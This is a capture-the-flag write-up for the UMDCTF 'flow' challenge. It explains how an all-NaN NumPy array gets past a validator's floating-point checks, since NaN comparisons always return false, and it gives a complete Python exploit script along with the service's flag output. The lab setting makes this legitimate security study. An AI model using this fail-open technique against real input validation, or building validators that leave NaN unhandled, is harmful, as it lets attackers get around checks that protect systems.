flow — UMDCTF

Challenge

We are given a remote service plus the local files challenge.py, predictor.py, flow.py, model weights, and a reference input window. The service asks for a base64-encoded NumPy float32 array of shape (5, 64) and checks whether it is a valid purified adversarial example.

Remote target:

nc challs.umdctf.io 30302

Analysis

The important logic is in challenge.py:

linf = float(np.max(np.abs(sub - x_ref)))
if linf > EPS + 1e-6:
    return False

lp = float(flow.log_prob(t).item())
if lp < lp_thresh:
    return False

probs = F.softmax(predictor(purify(t, flow)), dim=1).numpy()[0]
if probs[1] < CONF_FLIP:
    return False

All three decisions depend on floating-point comparisons performed on attacker-controlled data, but the checker never rejects NaN values.

That is fatal because IEEE-754 NaN is unordered:

• nan > x is False
• nan < x is False
• nan <= x is False
• nan >= x is False

So if we can make every checked value become NaN, the code fails open.

Submitting an array filled with NaN does exactly that:

1. sub - x_ref contains NaN, so np.max(np.abs(...)) becomes NaN and linf > EPS is false.
2. flow.log_prob(t) becomes NaN, so lp < lp_thresh is false.
3. The purification and predictor pipeline propagates NaN, so probs[1] is NaN and probs[1] < CONF_FLIP is false.

Since none of the guards trigger, check() reaches the success branch and returns the flag.

Exploitation Strategy

1. Build a NumPy array of shape (5, 64) with dtype float32.
2. Fill it with np.nan.
3. Serialize it with np.save, because the service decodes the base64 input and calls np.load() on the resulting bytes.
4. Base64-encode the .npy payload.
5. Send it to the remote service.

Final Exploit

#!/usr/bin/env python3
import base64
import io
import socket

import numpy as np

HOST = "challs.umdctf.io"
PORT = 30302


def main():
    arr = np.full((5, 64), np.nan, dtype=np.float32)

    buf = io.BytesIO()
    np.save(buf, arr)
    payload = base64.b64encode(buf.getvalue()) + b"\n"

    with socket.create_connection((HOST, PORT), timeout=10) as s:
        s.sendall(payload)
        out = b""
        while True:
            chunk = s.recv(4096)
            if not chunk:
                break
            out += chunk

    print(out.decode(errors="replace"))


if __name__ == "__main__":
    main()

The service responds with:

OK  linf=nan  log_prob=nan  p1(purified)=nan
FLAG: UMDCTF{id_like_to_thank_athalye_carlini_and_wagner_for_their_research}